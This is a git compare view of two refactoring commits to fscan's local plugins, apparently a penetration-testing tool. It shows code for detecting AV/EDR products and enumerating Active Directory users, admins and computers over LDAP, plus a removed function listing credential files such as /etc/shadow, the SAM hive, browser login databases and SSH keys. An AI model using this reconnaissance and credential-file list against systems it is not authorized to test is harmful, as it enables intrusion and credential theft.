Compare commits

...

2 Commits

Author SHA1 Message Date
ZacharyZcR
50247ee1e4 chore: 清理未使用的死代码
- 删除plugins/local/connector.go中未使用的GetCommonDirectories和GetSensitiveFiles函数
- 移除整个connector.go文件,因为其只包含死代码
- 通过deadcode工具验证,确保代码库整洁
2025-08-11 04:11:36 +08:00
ZacharyZcR
a86098d6b6 refactor: 重构本地插件架构并支持多平台
- 简化本地插件架构,移除不必要的连接器抽象
- 重构6个本地插件使用统一的简化架构
- 更新平台支持配置:Windows专用插件(avdetect/dcinfo/minidump),跨平台插件(fileinfo/reverseshell/socks5proxy)
- 修复插件注册和系统集成
- 优化代码结构和错误处理
2025-08-11 04:10:04 +08:00
11 changed files with 388 additions and 739 deletions

View File

@ -374,12 +374,12 @@ func checkParameterConflicts() {
if LocalMode { if LocalMode {
if LocalPlugin == "" { if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n") fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
os.Exit(1) os.Exit(1)
} }
// 验证本地插件名称 // 验证本地插件名称
validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "avdetect"} validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件
isValid := false isValid := false
for _, valid := range validPlugins { for _, valid := range validPlugins {
if LocalPlugin == valid { if LocalPlugin == valid {
@ -390,7 +390,7 @@ func checkParameterConflicts() {
if !isValid { if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin) fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n") fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
os.Exit(1) os.Exit(1)
} }
} }

View File

@ -22,26 +22,10 @@ import (
//go:embed auto.json //go:embed auto.json
var embeddedAVDatabase []byte var embeddedAVDatabase []byte
// AVDetectPlugin AV/EDR检测插件 // AVDetectPlugin AV/EDR检测插件 - 使用简化架构
type AVDetectPlugin struct { type AVDetectPlugin struct {
*local.BaseLocalPlugin *local.BaseLocalPlugin
connector *AVDetectConnector
// AV/EDR数据库
avDatabase map[string]AVProduct avDatabase map[string]AVProduct
configPath string
}
// AVDetectConnector AV/EDR检测连接器
type AVDetectConnector struct {
*local.BaseLocalConnector
}
// AVDetectConnection AV/EDR检测连接对象
type AVDetectConnection struct {
*local.LocalConnection
RunningProcesses []ProcessInfo
SystemInfo map[string]string
} }
// AVProduct AV/EDR产品信息 // AVProduct AV/EDR产品信息
@ -69,75 +53,44 @@ type DetectionResult struct {
Category string `json:"category"` Category string `json:"category"`
} }
// NewAVDetectPlugin 创建AV/EDR检测插件 // NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本
func NewAVDetectPlugin() *AVDetectPlugin { func NewAVDetectPlugin() *AVDetectPlugin {
metadata := &base.PluginMetadata{ metadata := &base.PluginMetadata{
Name: "avdetect", Name: "avdetect",
Version: "1.0.0", Version: "1.0.0",
Author: "fscan-team", Author: "fscan-team",
Description: "自动化AV/EDR检测插件基于auto.json规则库识别安全软件", Description: "自动化AV/EDR检测插件基于嵌入式规则库识别安全软件",
Category: "local", Category: "local",
Tags: []string{"local", "av", "edr", "detection", "security"}, Tags: []string{"local", "av", "edr", "detection", "security"},
Protocols: []string{"local"}, Protocols: []string{"local"},
} }
connector := NewAVDetectConnector()
plugin := &AVDetectPlugin{ plugin := &AVDetectPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
connector: connector,
avDatabase: make(map[string]AVProduct), avDatabase: make(map[string]AVProduct),
configPath: "auto.json", // 默认配置文件路径
} }
// 设置支持的平台 // 设置支持的平台 (仅Windows)
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) plugin.SetPlatformSupport([]string{"windows"})
// 不需要特殊权限 // 不需要特殊权限
plugin.SetRequiresPrivileges(false) plugin.SetRequiresPrivileges(false)
return plugin return plugin
} }
// NewAVDetectConnector 创建AV/EDR检测连接器 // Initialize 初始化插件
func NewAVDetectConnector() *AVDetectConnector { func (p *AVDetectPlugin) Initialize() error {
baseConnector, _ := local.NewBaseLocalConnector() // 先调用基类初始化
if err := p.BaseLocalPlugin.Initialize(); err != nil {
return &AVDetectConnector{ return err
BaseLocalConnector: baseConnector,
}
}
// Connect 建立AV/EDR检测连接
func (c *AVDetectConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
} }
baseConn := localConn.(*local.LocalConnection) // 加载AV数据库
return p.loadAVDatabase()
// 获取系统进程信息
processes, err := c.getRunningProcesses()
if err != nil {
return nil, fmt.Errorf("获取进程列表失败: %v", err)
}
avDetectConn := &AVDetectConnection{
LocalConnection: baseConn,
RunningProcesses: processes,
SystemInfo: baseConn.SystemInfo,
}
return avDetectConn, nil
}
// Close 关闭AV/EDR检测连接
func (c *AVDetectConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
} }
// getRunningProcesses 获取运行中的进程列表 // getRunningProcesses 获取运行中的进程列表
func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) { func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) {
var processes []ProcessInfo var processes []ProcessInfo
var cmd *exec.Cmd var cmd *exec.Cmd
@ -158,7 +111,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
} }
// 解析命令输出 // 解析命令输出
processes, err = c.parseProcessOutput(string(output)) processes, err = p.parseProcessOutput(string(output))
if err != nil { if err != nil {
return nil, fmt.Errorf("解析进程信息失败: %v", err) return nil, fmt.Errorf("解析进程信息失败: %v", err)
} }
@ -167,7 +120,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
} }
// parseProcessOutput 解析进程命令输出 // parseProcessOutput 解析进程命令输出
func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, error) { func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) {
var processes []ProcessInfo var processes []ProcessInfo
scanner := bufio.NewScanner(strings.NewReader(output)) scanner := bufio.NewScanner(strings.NewReader(output))
@ -185,7 +138,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
} }
// 解析PowerShell CSV格式Name,Id,ProcessName // 解析PowerShell CSV格式Name,Id,ProcessName
fields := c.parseCSVLine(line) fields := p.parseCSVLine(line)
if len(fields) >= 3 { if len(fields) >= 3 {
processName := strings.Trim(fields[0], "\"") processName := strings.Trim(fields[0], "\"")
// 如果进程名不包含.exe则添加 // 如果进程名不包含.exe则添加
@ -231,7 +184,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
} }
// parseCSVLine 解析CSV行处理引号内的逗号 // parseCSVLine 解析CSV行处理引号内的逗号
func (c *AVDetectConnector) parseCSVLine(line string) []string { func (p *AVDetectPlugin) parseCSVLine(line string) []string {
var fields []string var fields []string
var current strings.Builder var current strings.Builder
inQuotes := false inQuotes := false
@ -266,52 +219,61 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info) return p.ScanLocal(ctx, info)
} }
// ScanLocal 执行AV/EDR检测扫描 // ScanLocal 执行AV/EDR检测扫描 - 简化版本
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始AV/EDR安全软件检测...") common.LogInfo("开始AV/EDR安全软件检测...")
// 加载AV数据库 // 获取运行进程
err := p.loadAVDatabase() processes, err := p.getRunningProcesses()
if err != nil { if err != nil {
common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err)) common.LogError(fmt.Sprintf("获取进程列表失败: %v", err))
return &base.ScanResult{ // 不返回错误,继续执行但结果可能不完整
Success: false, processes = []ProcessInfo{}
Error: err,
}, nil
} }
common.LogDebug(fmt.Sprintf("成功加载 %d 个安全产品规则", len(p.avDatabase))) common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes)))
// 建立连接 // 检测AV/EDR产品
conn, err := p.connector.Connect(ctx, info) detectionResults := p.detectAVEDR(processes)
if err != nil {
return &base.ScanResult{ // 获取系统信息
Success: false, systemInfo := p.GetSystemInfo()
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
avDetectConn := conn.(*AVDetectConnection)
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(avDetectConn.RunningProcesses)))
// 执行AV/EDR检测
detectionResults := p.detectAVEDR(avDetectConn.RunningProcesses)
// 生成检测报告 // 生成检测报告
report := p.generateDetectionReport(detectionResults, avDetectConn.SystemInfo) report := p.generateDetectionReport(detectionResults, systemInfo)
if len(detectionResults) == 0 {
common.LogInfo("未检测到已知的AV/EDR安全产品")
return &base.ScanResult{
Success: true,
Service: "AVDetect",
Banner: "未检测到已知的AV/EDR安全产品",
Extra: map[string]interface{}{
"detected_products": detectionResults,
"total_processes": len(processes),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),
},
}, nil
}
// 输出检测结果
common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
for _, result := range detectionResults {
common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses)))
}
result := &base.ScanResult{ result := &base.ScanResult{
Success: len(detectionResults) >= 0, // 即使没有检测到也算成功 Success: true,
Service: "AVDetect", Service: "AVDetect",
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)), Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
Extra: map[string]interface{}{ Extra: map[string]interface{}{
"detected_products": detectionResults, "detected_products": detectionResults,
"total_processes": len(avDetectConn.RunningProcesses), "total_processes": len(processes),
"detection_report": report, "detection_report": report,
"platform": runtime.GOOS, "platform": runtime.GOOS,
"database_products": len(p.avDatabase), "database_products": len(p.avDatabase),
}, },
} }

View File

@ -1,163 +0,0 @@
package local
import (
"context"
"fmt"
"os"
"runtime"
"path/filepath"
"github.com/shadow1ng/fscan/common"
)
// BaseLocalConnector 基础本地连接器实现
type BaseLocalConnector struct {
workingDir string
homeDir string
systemInfo map[string]string
}
// LocalConnection 本地连接对象
type LocalConnection struct {
WorkingDir string
HomeDir string
SystemInfo map[string]string
TempDir string
}
// NewBaseLocalConnector 创建基础本地连接器
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
homeDir, err := os.UserHomeDir()
if err != nil {
return nil, err
}
workingDir, err := os.Getwd()
if err != nil {
return nil, err
}
return &BaseLocalConnector{
workingDir: workingDir,
homeDir: homeDir,
systemInfo: make(map[string]string),
}, nil
}
// Connect 建立本地连接
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 初始化系统信息
c.initSystemInfo()
tempDir := os.TempDir()
conn := &LocalConnection{
WorkingDir: c.workingDir,
HomeDir: c.homeDir,
SystemInfo: c.systemInfo,
TempDir: tempDir,
}
return conn, nil
}
// Close 关闭连接
func (c *BaseLocalConnector) Close(conn interface{}) error {
// 本地连接无需特殊关闭操作
return nil
}
// GetSystemInfo 获取系统信息
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
localConn, ok := conn.(*LocalConnection)
if !ok {
return nil, fmt.Errorf("无效的连接类型")
}
return localConn.SystemInfo, nil
}
// initSystemInfo 初始化系统信息
func (c *BaseLocalConnector) initSystemInfo() {
c.systemInfo["os"] = runtime.GOOS
c.systemInfo["arch"] = runtime.GOARCH
c.systemInfo["home_dir"] = c.homeDir
c.systemInfo["working_dir"] = c.workingDir
c.systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if username := os.Getenv("USER"); username != "" {
c.systemInfo["username"] = username
} else if username := os.Getenv("USERNAME"); username != "" {
c.systemInfo["username"] = username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
c.systemInfo["hostname"] = hostname
}
}
// GetCommonDirectories 获取常见目录路径
func (c *BaseLocalConnector) GetCommonDirectories() []string {
var dirs []string
switch runtime.GOOS {
case "windows":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux", "darwin":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
"/opt",
"/usr/local",
"/var/www",
"/var/log",
}
}
return dirs
}
// GetSensitiveFiles 获取敏感文件路径
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
var files []string
switch runtime.GOOS {
case "windows":
files = []string{
"C:\\boot.ini",
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}
case "linux", "darwin":
files = []string{
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/ssh/ssh_config",
"/root/.ssh/id_rsa",
"/root/.ssh/authorized_keys",
"/root/.bash_history",
filepath.Join(c.homeDir, ".ssh/id_rsa"),
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
filepath.Join(c.homeDir, ".bash_history"),
}
}
return files
}

View File

@ -15,28 +15,19 @@ import (
"strings" "strings"
) )
// DCInfoPlugin 域控信息收集插件 // DCInfoPlugin 域控信息收集插件 - 使用简化架构
type DCInfoPlugin struct { type DCInfoPlugin struct {
*local.BaseLocalPlugin *local.BaseLocalPlugin
connector *DCInfoConnector
} }
// DCInfoConnector 域控信息连接器 // DomainInfo 域信息结构
type DCInfoConnector struct { type DomainInfo struct {
*local.BaseLocalConnector
conn *ldap.Conn
baseDN string
}
// DomainConnection 域连接对象
type DomainConnection struct {
*local.LocalConnection
LDAPConn *ldap.Conn
BaseDN string
Domain string Domain string
BaseDN string
LDAPConn *ldap.Conn
} }
// NewDCInfoPlugin 创建域控信息收集插件 // NewDCInfoPlugin 创建域控信息收集插件 - 简化版本
func NewDCInfoPlugin() *DCInfoPlugin { func NewDCInfoPlugin() *DCInfoPlugin {
metadata := &base.PluginMetadata{ metadata := &base.PluginMetadata{
Name: "dcinfo", Name: "dcinfo",
@ -48,16 +39,14 @@ func NewDCInfoPlugin() *DCInfoPlugin {
Protocols: []string{"local"}, Protocols: []string{"local"},
} }
connector := NewDCInfoConnector()
plugin := &DCInfoPlugin{ plugin := &DCInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
connector: connector,
} }
// 仅支持Windows平台 // 仅支持Windows平台
plugin.SetPlatformSupport([]string{"windows"}) plugin.SetPlatformSupport([]string{"windows"})
// 需要域环境权限 // 不需要特殊权限,使用当前用户凭据
plugin.SetRequiresPrivileges(false) // 使用当前用户凭据 plugin.SetRequiresPrivileges(false)
return plugin return plugin
} }
@ -67,69 +56,39 @@ func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.S
return p.ScanLocal(ctx, info) return p.ScanLocal(ctx, info)
} }
// NewDCInfoConnector 创建域控信息连接器 // connectToDomain 连接到域控制器 - 简化版本
func NewDCInfoConnector() *DCInfoConnector { func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) {
baseConnector, _ := local.NewBaseLocalConnector()
return &DCInfoConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立域控连接
func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 获取域控制器地址 // 获取域控制器地址
dcHost, domain, err := c.getDomainController() dcHost, domain, err := p.getDomainController()
if err != nil { if err != nil {
return nil, fmt.Errorf("获取域控制器失败: %v", err) return nil, fmt.Errorf("获取域控制器失败: %v", err)
} }
// 建立LDAP连接 // 建立LDAP连接
ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain) ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain)
if err != nil { if err != nil {
return nil, fmt.Errorf("LDAP连接失败: %v", err) return nil, fmt.Errorf("LDAP连接失败: %v", err)
} }
domainConn := &DomainConnection{ return &DomainInfo{
LocalConnection: baseConn, Domain: domain,
LDAPConn: ldapConn, BaseDN: baseDN,
BaseDN: baseDN, LDAPConn: ldapConn,
Domain: domain, }, nil
}
return domainConn, nil
}
// Close 关闭域控连接
func (c *DCInfoConnector) Close(conn interface{}) error {
if domainConn, ok := conn.(*DomainConnection); ok {
if domainConn.LDAPConn != nil {
domainConn.LDAPConn.Close()
}
}
return c.BaseLocalConnector.Close(conn)
} }
// getDomainController 获取域控制器地址 // getDomainController 获取域控制器地址
func (c *DCInfoConnector) getDomainController() (string, string, error) { func (p *DCInfoPlugin) getDomainController() (string, string, error) {
common.LogDebug("开始查询域控制器地址...") common.LogDebug("开始查询域控制器地址...")
// 方法1: 尝试使用PowerShell获取域名 // 方法1: 尝试使用PowerShell获取域名
domain, err := c.getDomainNamePowerShell() domain, err := p.getDomainNamePowerShell()
if err != nil { if err != nil {
// 方法2: 尝试使用wmic如果可用 // 方法2: 尝试使用wmic如果可用
domain, err = c.getDomainNameWmic() domain, err = p.getDomainNameWmic()
if err != nil { if err != nil {
// 方法3: 尝试使用环境变量 // 方法3: 尝试使用环境变量
domain, err = c.getDomainNameFromEnv() domain, err = p.getDomainNameFromEnv()
if err != nil { if err != nil {
return "", "", fmt.Errorf("获取域名失败: %v", err) return "", "", fmt.Errorf("获取域名失败: %v", err)
} }
@ -143,7 +102,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain)) common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
// 查询域控制器 // 查询域控制器
dcHost, err := c.findDomainController(domain) dcHost, err := p.findDomainController(domain)
if err != nil { if err != nil {
// 备选方案:使用域名直接构造 // 备选方案:使用域名直接构造
dcHost = fmt.Sprintf("dc.%s", domain) dcHost = fmt.Sprintf("dc.%s", domain)
@ -154,7 +113,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
} }
// getDomainNamePowerShell 使用PowerShell获取域名 // getDomainNamePowerShell 使用PowerShell获取域名
func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) { func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) {
cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain") cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain")
output, err := cmd.Output() output, err := cmd.Output()
if err != nil { if err != nil {
@ -170,7 +129,7 @@ func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
} }
// getDomainNameWmic 使用wmic获取域名 // getDomainNameWmic 使用wmic获取域名
func (c *DCInfoConnector) getDomainNameWmic() (string, error) { func (p *DCInfoPlugin) getDomainNameWmic() (string, error) {
cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value") cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value")
output, err := cmd.Output() output, err := cmd.Output()
if err != nil { if err != nil {
@ -191,7 +150,7 @@ func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
} }
// getDomainNameFromEnv 从环境变量获取域名 // getDomainNameFromEnv 从环境变量获取域名
func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) { func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) {
// 尝试从环境变量获取 // 尝试从环境变量获取
cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%") cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%")
output, err := cmd.Output() output, err := cmd.Output()
@ -208,7 +167,7 @@ func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
} }
// findDomainController 查找域控制器 // findDomainController 查找域控制器
func (c *DCInfoConnector) findDomainController(domain string) (string, error) { func (p *DCInfoPlugin) findDomainController(domain string) (string, error) {
// 方法1: 使用nslookup查询SRV记录 // 方法1: 使用nslookup查询SRV记录
cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
output, err := cmd.Output() output, err := cmd.Output()
@ -241,7 +200,7 @@ func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
} }
// connectToLDAP 连接到LDAP服务器 // connectToLDAP 连接到LDAP服务器
func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) { func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost)) common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost))
// 创建SSPI客户端 // 创建SSPI客户端
@ -264,7 +223,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
// 方法2: 尝试使用IPv4地址 // 方法2: 尝试使用IPv4地址
common.LogDebug("方法2: 解析IPv4地址") common.LogDebug("方法2: 解析IPv4地址")
ipv4, err := c.resolveIPv4(dcHost) ipv4, err := p.resolveIPv4(dcHost)
if err == nil { if err == nil {
common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4)) common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4))
conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4)) conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4))
@ -296,7 +255,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
// 获取BaseDN // 获取BaseDN
common.LogDebug("获取BaseDN...") common.LogDebug("获取BaseDN...")
baseDN, err := c.getBaseDN(conn, domain) baseDN, err := p.getBaseDN(conn, domain)
if err != nil { if err != nil {
conn.Close() conn.Close()
return nil, "", err return nil, "", err
@ -307,7 +266,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
} }
// getBaseDN 获取BaseDN // getBaseDN 获取BaseDN
func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) { func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
"", "",
ldap.ScopeBaseObject, ldap.ScopeBaseObject,
@ -342,7 +301,7 @@ func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, err
} }
// resolveIPv4 解析主机名为IPv4地址 // resolveIPv4 解析主机名为IPv4地址
func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) { func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) {
ips, err := net.LookupIP(hostname) ips, err := net.LookupIP(hostname)
if err != nil { if err != nil {
return "", err return "", err
@ -358,12 +317,12 @@ func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
return "", fmt.Errorf("未找到IPv4地址") return "", fmt.Errorf("未找到IPv4地址")
} }
// ScanLocal 执行域控信息扫描 // ScanLocal 执行域控信息扫描 - 简化版本
func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始域控制器信息收集...") common.LogInfo("开始域控制器信息收集...")
// 建立域控连接 // 建立域控连接
conn, err := p.connector.Connect(ctx, info) domainConn, err := p.connectToDomain()
if err != nil { if err != nil {
// 提供更友好的错误信息 // 提供更友好的错误信息
if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") { if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") {
@ -379,9 +338,11 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
Error: fmt.Errorf("域控连接失败: %v", err), Error: fmt.Errorf("域控连接失败: %v", err),
}, nil }, nil
} }
defer p.connector.Close(conn) defer func() {
if domainConn.LDAPConn != nil {
domainConn := conn.(*DomainConnection) domainConn.LDAPConn.Close()
}
}()
// 收集域信息 // 收集域信息
domainData := make(map[string]interface{}) domainData := make(map[string]interface{})
@ -442,11 +403,17 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
common.LogError(fmt.Sprintf("获取组织单位失败: %v", err)) common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
} }
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{ result := &base.ScanResult{
Success: len(domainData) > 0, Success: len(domainData) > 0,
Service: "DCInfo", Service: "DCInfo",
Banner: fmt.Sprintf("域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN), Banner: fmt.Sprintf("检测完成: 域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
Extra: domainData, Extra: map[string]interface{}{
"domain_data": domainData,
"system_info": systemInfo,
},
} }
common.LogSuccess("域控制器信息收集完成") common.LogSuccess("域控制器信息收集完成")
@ -454,7 +421,7 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
} }
// getDomainInfo 获取域基本信息 // getDomainInfo 获取域基本信息
func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interface{}, error) { func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
conn.BaseDN, conn.BaseDN,
ldap.ScopeBaseObject, ldap.ScopeBaseObject,
@ -487,7 +454,7 @@ func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interfa
} }
// getDomainControllers 获取域控制器详细信息 // getDomainControllers 获取域控制器详细信息
func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[string]interface{}, error) { func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) {
dcQuery := ldap.NewSearchRequest( dcQuery := ldap.NewSearchRequest(
conn.BaseDN, conn.BaseDN,
ldap.ScopeWholeSubtree, ldap.ScopeWholeSubtree,
@ -520,7 +487,7 @@ func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[strin
} }
// getDomainUsersDetailed 获取域用户详细信息 // getDomainUsersDetailed 获取域用户详细信息
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) { func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
conn.BaseDN, conn.BaseDN,
ldap.ScopeWholeSubtree, ldap.ScopeWholeSubtree,
@ -560,7 +527,7 @@ func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[str
} }
// getDomainAdminsDetailed 获取域管理员详细信息 // getDomainAdminsDetailed 获取域管理员详细信息
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[string]interface{}, error) { func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
// 获取Domain Admins组 // 获取Domain Admins组
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
conn.BaseDN, conn.BaseDN,
@ -615,7 +582,7 @@ func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[st
} }
// getComputersDetailed 获取域计算机详细信息 // getComputersDetailed 获取域计算机详细信息
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) { func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
conn.BaseDN, conn.BaseDN,
ldap.ScopeWholeSubtree, ldap.ScopeWholeSubtree,
@ -648,7 +615,7 @@ func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[strin
} }
// getUserInfoByDN 根据DN获取用户信息 // getUserInfoByDN 根据DN获取用户信息
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (map[string]interface{}, error) { func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
userDN, userDN,
